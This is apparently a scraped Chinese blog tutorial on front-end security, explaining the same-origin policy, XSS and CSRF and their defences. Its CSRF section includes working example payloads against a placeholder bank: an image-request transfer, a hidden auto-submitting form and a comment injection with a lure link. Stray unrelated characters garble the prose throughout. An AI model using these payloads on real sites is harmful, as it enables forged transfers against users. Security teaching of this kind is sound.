前端網(wǎng)絡(luò)安全-XSS和CSRF

前端安全問(wèn)題

1.cookie失竊

黑客網(wǎng)站通過(guò)script獲取本地用戶訪問(wèn)其他網(wǎng)站的cookie怔球,cookie是用戶訪問(wèn)網(wǎng)站的登陸憑證,通過(guò)cookie可以發(fā)起請(qǐng)求

惡意網(wǎng)站獲得cookie后偽裝用戶發(fā)起請(qǐng)求,例如轉(zhuǎn)賬等

2.密碼失竊

黑客網(wǎng)站通過(guò)iframe嵌入安全網(wǎng)站,黑客網(wǎng)站通過(guò)js修改用戶點(diǎn)擊登陸操作的form-action,使請(qǐng)求轉(zhuǎn)向黑客網(wǎng)站后臺(tái),黑客獲取到用戶登陸信息

3.同源策略

為了杜絕以上黑客攻擊踪央,瀏覽器標(biāo)準(zhǔn)定制了同源策略

1)什么是同源?

協(xié)議瓢阴、域名host畅蹂、端口號(hào)一致視為同源

2)同源的操作權(quán)限
  • 讀取localstorage、cookie炫掐、indexDB
  • 操作dom
  • XMLHttpRequest請(qǐng)求
注意:
  1. 帶src屬性的標(biāo)簽不受同源策略的影響魁莉。比如script、img募胃、iframe旗唁、link,這樣方便用戶跨源引用資源痹束。相當(dāng)于瀏覽器發(fā)送get請(qǐng)求
  2. 提交表單不受同源策略的影響(關(guān)于原因以及如何利用表單做跨域請(qǐng)求检疫,將另起一篇文章說(shuō)明)
  3. 對(duì)于二級(jí)域名不同的情況,可以通過(guò)設(shè)置domain為頂級(jí)域名使得cookie\localstorage等信息可以在二級(jí)域名之間共享
前兩個(gè)不受同源策略影響的特性祷嘶,恰恰是CSXF攻擊的原理屎媳!后文會(huì)講到

4.XMLHttpRequest的跨域請(qǐng)求

通過(guò)服務(wù)器中轉(zhuǎn)的方式

js先請(qǐng)求同源服務(wù)器夺溢,同源服務(wù)器轉(zhuǎn)發(fā)請(qǐng)求目標(biāo)服務(wù)器,目標(biāo)服務(wù)器添加了白名單烛谊,同源服務(wù)器作為代理人风响,稱為代理模式

這種XMLHttpRequest請(qǐng)求的方式成為CORS(crossing origin resource sharing),跨源資源共享

5.XSS

瀏覽器添加了同源策略丹禀,杜絕了非同源js請(qǐng)求

黑客:在目標(biāo)網(wǎng)站的表單里填寫script代碼提交到后臺(tái)服務(wù)器状勤,當(dāng)表單內(nèi)容展示到頁(yè)面上時(shí),會(huì)觸發(fā)攻擊双泪,如:

image.png
image.png

以這種隱蔽的方式實(shí)現(xiàn)將本地?cái)?shù)據(jù)提交(get請(qǐng)求)到黑客網(wǎng)站后臺(tái)

這種攻擊方式叫做crossing site scripting,跨站腳本持搜,簡(jiǎn)稱XSS

例如郵箱的內(nèi)容中默認(rèn)不顯示圖片,就是為了屏蔽這種攻擊

6.XSS防護(hù)

1)cookie加上HttpOnly,只允許請(qǐng)求焙矛,不允許js讀取

2)服務(wù)端安全過(guò)濾葫盼,過(guò)濾script信息

3)前端展示安全過(guò)濾

7.CSRF

CSRF示意圖:


image.png

觸發(fā)條件(需要同時(shí)滿足):

  • 瀏覽器支持(沒(méi)有禁用)cookie
  • 目標(biāo)網(wǎng)站沒(méi)有做 CSRF 相關(guān)的預(yù)防措施(有漏洞)
  • 目標(biāo)網(wǎng)站基于 cookie/session 來(lái)做身份認(rèn)證
  • 用戶已在目標(biāo)網(wǎng)站A登陸,并且沒(méi)有登出村斟,并且沒(méi)有清空 cookie贫导,并且 cookie 沒(méi)有過(guò)期的情況下訪問(wèn)黑客網(wǎng)站
  • 黑客網(wǎng)站B請(qǐng)求了目標(biāo)網(wǎng)站A

觸發(fā)方式:

  1. 點(diǎn)擊請(qǐng)求:用戶點(diǎn)擊黑客網(wǎng)站鏈接,a標(biāo)簽
  2. 自動(dòng)請(qǐng)求:黑客網(wǎng)站創(chuàng)建表單發(fā)起請(qǐng)求(支持POST請(qǐng)求)蟆盹,或者通過(guò)js創(chuàng)建img元素設(shè)置src(GET請(qǐng)求)脱盲,自動(dòng)請(qǐng)求具有隱蔽性
    示例:
<!--鏈接方式,誘導(dǎo)點(diǎn)擊-->
<a >點(diǎn)擊領(lǐng)紅包</a>

<script>
// 資源請(qǐng)求
(new Image()).src = 'http://www.targetBank.com/Transfer.php?toBankId=11&money=1000';
</script>

// form表單請(qǐng)求
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>黑客網(wǎng)站</title>
</head>
<body onload="steal()">
    <div style="display:none">
        <form method="POST" name="transfer" action="http://www.targetBank.com/Transfer.php" target="steal">
            <input type="hidden" name="toBankId" value="11">
            <input type="hidden" name="money" value="1000">
        </form>
    </div>
    <iframe name="steal" display="none"></iframe>
    <script type="text/javascript">
        document.querySelector('[name=transfer]').submit();
    </script>
    </body>
</html>
<!-- 
說(shuō)明:
1.form表單提交以后日缨,普通情況下會(huì)頁(yè)面跳轉(zhuǎn)至action指定頁(yè)面
2.通過(guò)在頁(yè)面上添加一個(gè)隱藏的iframe,將form的target指向iframe的name,
此時(shí)表單是在iframe中提交與跳轉(zhuǎn)掖看,不影響外層頁(yè)面
 -->

攻擊升級(jí):
提交內(nèi)容里帶上超鏈接匣距,誘導(dǎo)其他用戶看到內(nèi)容后點(diǎn)擊,跳轉(zhuǎn)到目標(biāo)網(wǎng)站后再次觸發(fā)CSRF
示例:

<script>
  (new Image()).src = 'http://www.tieba.com/comment?id=11&content=<a href=www.hack.com/index.html>點(diǎn)擊領(lǐng)紅包</a>';
// 其中包含了XSS攻擊方式哎壳,當(dāng)提交的內(nèi)容被展示到目標(biāo)網(wǎng)站上的時(shí)候毅待,誘導(dǎo)更多用戶去點(diǎn)擊黑客網(wǎng)站
</script>

觸發(fā)原因:

  1. 同源策略阻止了js讀取其他網(wǎng)站的cookie等內(nèi)容,但沒(méi)有防止js向其他網(wǎng)站發(fā)出請(qǐng)求
  2. 同源策略限制了ajax請(qǐng)求归榕,但沒(méi)有限制form表單提交尸红,前文提過(guò)img標(biāo)簽不受同源策略限制
  3. 黑客網(wǎng)站利用用戶向目標(biāo)網(wǎng)站發(fā)起請(qǐng)求的時(shí)候,請(qǐng)求會(huì)帶上目標(biāo)網(wǎng)站下發(fā)的cookie

這種攻擊方式叫做cross site request forgery,跨站請(qǐng)求偽造

8.CSRF攻擊防護(hù)

  1. referer(在http請(qǐng)求頭中)驗(yàn)證解決方案,瀏覽器會(huì)告訴服務(wù)器刹泄,哪個(gè)頁(yè)面發(fā)送了請(qǐng)求
    不過(guò)由于 http 頭在某些版本的瀏覽器上存在可被篡改的可能性外里,所以這個(gè)解決方案并不完善
  2. 目標(biāo)網(wǎng)站通過(guò)cookie生成hash值,提交請(qǐng)求時(shí)帶上hash值特石,服務(wù)端對(duì)hash進(jìn)行過(guò)濾
  3. 表單提交加驗(yàn)證碼盅蝗,如圖片上的隨機(jī)字符串
  4. 用戶登錄時(shí)服務(wù)端生成token,之后用戶請(qǐng)求必須帶上token
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末姆蘸,一起剝皮案震驚了整個(gè)濱河市墩莫,隨后出現(xiàn)的幾起案子芙委,更是在濱河造成了極大的恐慌,老刑警劉巖狂秦,帶你破解...
    沈念sama閱讀 212,029評(píng)論 6 492
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件灌侣,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡裂问,警方通過(guò)查閱死者的電腦和手機(jī)侧啼,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,395評(píng)論 3 385
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)愕秫,“玉大人慨菱,你說(shuō)我怎么就攤上這事〈魉Γ” “怎么了符喝?”我有些...
    開封第一講書人閱讀 157,570評(píng)論 0 348
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)甜孤。 經(jīng)常有香客問(wèn)我协饲,道長(zhǎng),這世上最難降的妖魔是什么缴川? 我笑而不...
    開封第一講書人閱讀 56,535評(píng)論 1 284
  • 正文 為了忘掉前任茉稠,我火速辦了婚禮,結(jié)果婚禮上把夸,老公的妹妹穿的比我還像新娘而线。我一直安慰自己,他們只是感情好恋日,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,650評(píng)論 6 386
  • 文/花漫 我一把揭開白布膀篮。 她就那樣靜靜地躺著,像睡著了一般岂膳。 火紅的嫁衣襯著肌膚如雪誓竿。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 49,850評(píng)論 1 290
  • 那天谈截,我揣著相機(jī)與錄音筷屡,去河邊找鬼。 笑死簸喂,一個(gè)胖子當(dāng)著我的面吹牛毙死,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播喻鳄,決...
    沈念sama閱讀 39,006評(píng)論 3 408
  • 文/蒼蘭香墨 我猛地睜開眼规哲,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來(lái)了诽表?” 一聲冷哼從身側(cè)響起唉锌,我...
    開封第一講書人閱讀 37,747評(píng)論 0 268
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤隅肥,失蹤者是張志新(化名)和其女友劉穎,沒(méi)想到半個(gè)月后袄简,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體腥放,經(jīng)...
    沈念sama閱讀 44,207評(píng)論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,536評(píng)論 2 327
  • 正文 我和宋清朗相戀三年绿语,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了秃症。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 38,683評(píng)論 1 341
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡吕粹,死狀恐怖种柑,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情匹耕,我是刑警寧澤聚请,帶...
    沈念sama閱讀 34,342評(píng)論 4 330
  • 正文 年R本政府宣布,位于F島的核電站稳其,受9級(jí)特大地震影響驶赏,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜既鞠,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,964評(píng)論 3 315
  • 文/蒙蒙 一煤傍、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧嘱蛋,春花似錦蚯姆、人聲如沸砚哆。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,772評(píng)論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)羡疗。三九已至,卻和暖如春号杏,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,004評(píng)論 1 266
  • 我被黑心中介騙來(lái)泰國(guó)打工镊靴, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人链韭。 一個(gè)月前我還...
    沈念sama閱讀 46,401評(píng)論 2 360
  • 正文 我出身青樓偏竟,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親敞峭。 傳聞我的和親對(duì)象是個(gè)殘疾皇子踊谋,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,566評(píng)論 2 349

推薦閱讀更多精彩內(nèi)容

  • http://www.91ri.org/tag/fuzz-bug 通常情況下,有三種方法被廣泛用來(lái)防御CSRF攻擊...
    jdyzm閱讀 4,161評(píng)論 0 5
  • HTTP cookie(也稱為web cookie,網(wǎng)絡(luò)cookie,瀏覽器cookie或者簡(jiǎn)稱cookie)是網(wǎng)...
    留七七閱讀 17,877評(píng)論 2 71
  • 1.一些開放性題目 1.自我介紹:除了基本個(gè)人信息以外旋讹,面試官更想聽的是你與眾不同的地方和你的優(yōu)勢(shì)殖蚕。 2.項(xiàng)目介紹...
    55lover閱讀 635評(píng)論 0 6
  • 【轉(zhuǎn)載】CSDN - 張林blog http://blog.csdn.net/XIAOZHUXMEN/articl...
    竿牘閱讀 3,481評(píng)論 1 14
  • 前端開發(fā)面試知識(shí)點(diǎn)大綱: HTML&CSS: 對(duì)Web標(biāo)準(zhǔn)的理解轿衔、瀏覽器內(nèi)核差異、兼容性睦疫、hack害驹、CSS基本功:...
    秀才JaneBook閱讀 2,341評(píng)論 0 25